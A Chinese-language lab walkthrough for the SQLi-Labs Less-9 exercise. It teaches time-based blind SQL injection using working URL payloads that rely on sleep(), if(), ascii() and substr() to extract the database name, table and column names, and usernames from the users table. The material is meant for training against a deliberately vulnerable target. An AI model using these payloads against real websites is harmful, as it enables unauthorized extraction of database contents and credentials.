【Less-9】基于SQLI的SQL时间盲注

简介: 【Less-9】基于SQLI的SQL时间盲注

【实验目的】

通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。

【实验环境】

渗透主机:Kali平台

目标靶机:SQLI平台Less-9科目

【实验原理】

1.为什么使用延时注入

(1)部分网站没办法 union select 联合查询方式注入

(2)部分网站没有输出显示,只能通过延时判断;

2.时间盲注的SQL语句原理

(1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出;

(2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n;

3.时间盲注常用函数

length(database())语句:返回当前数据库名长度。

mid(database(),m,n):返回数据库名的第m位之后的n位。

【实验步骤】

第一步 登录SQLI-Labs平台


第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9

在浏览器地址栏中输入http://【靶机IP】/Less-9/,访问SQLI-Labs的less-9。


第三步 判断注入点与注入类型

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

(1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23


http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

(2)http://【靶机IP】/Less-9/?id=1' and length(database())<0 %23


http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

同样id=1’或id=1"的结果仍然与正常访问一致。

(2)采用sleep()函数进行测试

http://【靶机IP】/Less-9/?id=1' and sleep(10) %23


http://【靶机IP】/Less-9/?id=1' and sleep(10) --+

响应明显变缓慢,响应速度如下:

对比没有使用sleep()函数时的状态如下:

得出结论:存在时间盲注。

下面基于时间盲注进行数据库信息获取:


第四步 获取数据库名的长度

http://【靶机IP】/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+

http://【靶机IP】/Less-9/?id=1' and if((length(database())=7),1,sleep(5))
--+

得出结论:数据库名长度为8。


第五步 探测数据库其他信息

(1)判断数据库名

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+

数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒。

(2)获取表

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

然后

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+ 

email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒。

以此类推,我们可以得到所有的数据表:emails,referers,uagents,users

(3)获取列

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ 

猜测users表的第一个列的第一个字符是i。

以此类推,我们得到列名是id,username,password

(4)获取列值

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+

猜测username的第一行的第一位为D。

按照这种思路依次来获取全部数据库信息。


【思考与总结】

通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。

相关文章
|
1月前
|
SQL Python
基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)
基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)
|
9月前
|
SQL 安全 网络协议
命令执行/SQL盲注无回显外带方式
命令执行/SQL盲注无回显外带方式
195 0
|
8天前
|
SQL XML 关系型数据库
【less-5】基于SQLI的SQL盲注常用函数
【less-5】基于SQLI的SQL盲注常用函数
20 2
|
8天前
|
SQL Web App开发 安全
【less-1】基于SQLI的SQL字符型报错注入
【less-1】基于SQLI的SQL字符型报错注入
14 2
|
8天前
|
SQL Web App开发 前端开发
【less-11】基于SQLI的POST字符型SQL注入
【less-11】基于SQLI的POST字符型SQL注入
18 2
|
1月前
|
SQL 关系型数据库 MySQL
解密 sqli靶场第一关:一步一步学习 SQL 注入技术
解密 sqli靶场第一关:一步一步学习 SQL 注入技术
53 0
解密 sqli靶场第一关:一步一步学习 SQL 注入技术
|
1月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
51 0
|
SQL 安全 数据库
4 SQL注入盲注
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
4 SQL注入盲注
|
SQL 安全 数据库
sqli笔记-基于错误的SQL注入与WAF绕过
正文 测试的是登陆功能,此功能会向数据库发送查询的请求,这里我们仔细来看一下,获取我的数据并通过 POST 请求发送。 工具使用的是Burp Suite,这里拦截了请求并将其发送到repeater:
283 0
sqli笔记-基于错误的SQL注入与WAF绕过
|
SQL 安全
35分钟了解sql注入-盲注(三)
🍀学习sql注入之盲注操作
520 0
35分钟了解sql注入-盲注(三)